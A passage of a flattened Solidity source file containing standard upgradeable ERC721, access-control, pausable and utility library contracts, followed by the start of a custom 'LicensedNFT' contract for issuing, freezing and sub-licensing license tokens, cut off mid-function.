_allTokens.pop(); } uint256[46] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721Upgradeable.sol"; import "../../../utils/ContextUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721BurnableUpgradeable is Initializable, ContextUpgradeable, ERC721Upgradeable { function __ERC721Burnable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721Burnable_init_unchained(); } function __ERC721Burnable_init_unchained() internal initializer { } /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721Upgradeable.sol"; import "../../../security/PausableUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev ERC721 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC721PausableUpgradeable is Initializable, ERC721Upgradeable, PausableUpgradeable { function __ERC721Pausable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __Pausable_init_unchained(); __ERC721Pausable_init_unchained(); } function __ERC721Pausable_init_unchained() internal initializer { } /** * @dev See {ERC721-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); require(!paused(), "ERC721Pausable: token transfer while paused"); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./AccessControlUpgradeable.sol"; import "../utils/structs/EnumerableSetUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerableUpgradeable { function getRoleMember(bytes32 role, uint256 index) external view returns (address); function getRoleMemberCount(bytes32 role) external view returns (uint256); } /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable { function __AccessControlEnumerable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); __AccessControlEnumerable_init_unchained(); } function __AccessControlEnumerable_init_unchained() internal initializer { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; mapping (bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {grantRole} to track enumerable memberships */ function grantRole(bytes32 role, address account) public virtual override { super.grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {revokeRole} to track enumerable memberships */ function revokeRole(bytes32 role, address account) public virtual override { super.revokeRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {renounceRole} to track enumerable memberships */ function renounceRole(bytes32 role, address account) public virtual override { super.renounceRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {_setupRole} to track enumerable memberships */ function _setupRole(bytes32 role, address account) internal virtual override { super._setupRole(role, account); _roleMembers[role].add(account); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library CountersUpgradeable { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721EnumerableUpgradeable is IERC721Upgradeable { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } struct RoleData { mapping (address => bool) members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if(!hasRole(role, account)) { revert(string(abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ))); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; }
* @title NFT contract for licenses @notice The contract provides the issuer and the artists with the required functions to comply and evolve with the regulation/
contract LicensedNFT is ERC721Preset { using SafeMathUpgradeable for uint256; using EnumerableSetUpgradeable for EnumerableSetUpgradeable.UintSet; using CountersUpgradeable for CountersUpgradeable.Counter; bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE"); bytes32 public constant ISSUER_ROLE = keccak256("ISSUER_ROLE"); address public issuer; address public artist; address public authTokenImplementation; mapping(uint256 => bool) internal frozenToken; mapping(uint256 => string) internal stateDescription; mapping(uint256 => string) internal tokenLegalURI; mapping(uint256 => address) internal authToken; mapping(uint256 => uint256) internal parentLicense; mapping(uint256 => EnumerableSetUpgradeable.UintSet) internal childLicenses; bool public subLicensesDeployementPaused; bool public authTokenDeployementPaused; event AuthTokensImplementationSet(address _tokenImplementation); event AuthTokenDeploymentPaused(); event AuthTokenDeploymentResumed(); event AuthTokenDeployed(uint256 _tokenId, address _authAddress); event SubLicensesDeploymentPaused(); event SubLicensesDeploymentResumed(); event SubLicenseDeployed( uint256 _parentLicense, uint256 _childLicense, address _recipient ); event SubLicenseRevoked(uint256 _tokenId); event TokenFrozen(uint256 _tokenId); event TokenUnfrozen(uint256 _tokenId); event TokenColored(uint256 _tokenId, string _stateDescription); event FreezeRequestPrinted(uint256 _tokenId); event BaseURIUpdated(string _URI); event LegalURIUpdate(uint256 _tokenId, string _newLegalURI); function initialize( string memory _name, string memory _symbol, string memory _baseTokenURI, address _admin, address _issuer, address _artist ) public initializer { super.initialize(_name, _symbol, _baseTokenURI); _setupRole(DEFAULT_ADMIN_ROLE, _admin); _setupRole(ADMIN_ROLE, _admin); _setupRole(ISSUER_ROLE, _admin); _setupRole(ISSUER_ROLE, _issuer); subLicensesDeployementPaused = true; authTokenDeployementPaused = true; issuer = _issuer; artist = _artist; } function setBaseURI(string memory _baseURI) public { require(hasRole(ADMIN_ROLE, msg.sender), "ERR_CALLER"); _baseTokenURI = _baseURI; emit BaseURIUpdated(_baseURI); } function freezeToken(uint256 _tokenId) public { require(hasRole(ISSUER_ROLE, msg.sender), "ERR_CALLER"); frozenToken[_tokenId] = true; emit TokenFrozen(_tokenId); } function unfreezeToken(uint256 _tokenId) public { require(hasRole(ISSUER_ROLE, msg.sender), "ERR_CALLER"); frozenToken[_tokenId] = false; emit TokenUnfrozen(_tokenId); } function colorToken(uint256 _tokenId, string memory _stateDescription) public { require(hasRole(ISSUER_ROLE, msg.sender), "ERR_CALLER"); stateDescription[_tokenId] = _stateDescription; emit TokenColored(_tokenId, _stateDescription); } function printFreezeRequest(uint256 _tokenId) public { require(msg.sender == artist, "ERR_CALLER"); emit FreezeRequestPrinted(_tokenId); } function cancelToken(uint256 _tokenId) public { require(hasRole(ISSUER_ROLE, msg.sender), "ERR_CALLER"); _burn(_tokenId); } function updateTokenLegalURI(uint256 _tokenId, string memory _legalURI) public { require(hasRole(ISSUER_ROLE, msg.sender), "ERR_CALLER"); tokenLegalURI[_tokenId] = _legalURI; emit LegalURIUpdate(_tokenId, _legalURI); } function deploySubLicense( uint256 _tokenId, address _recipient, string memory _name, string memory _symbol, string memory _legalURI ) public { require(hasRole(ISSUER_ROLE, msg.sender), "ERR_CALLER"); mint(_recipient, _name, _symbol, _legalURI); uint256 sublicenseID = _tokenIdTracker.current(); parentLicense[sublicenseID] = _tokenId; childLicenses[_tokenId].add(sublicenseID); emit SubLicenseDeployed(_tokenId, sublicenseID, _recipient); } function revokeSubLicense(uint256 _subLicenseId) public { uint256 parentId = parentLicense[_subLicenseId]; require(hasRole(ISSUER_ROLE, msg.sender), "ERR_CALLER"); _burn(_subLicenseId); delete parentLicense[_subLicenseId]; childLicenses[parentId].remove(_subLicenseId); emit SubLicenseRevoked(_subLicenseId); } function pauseSubLicenseDeployement() public { require(hasRole(ADMIN_ROLE, msg.sender), 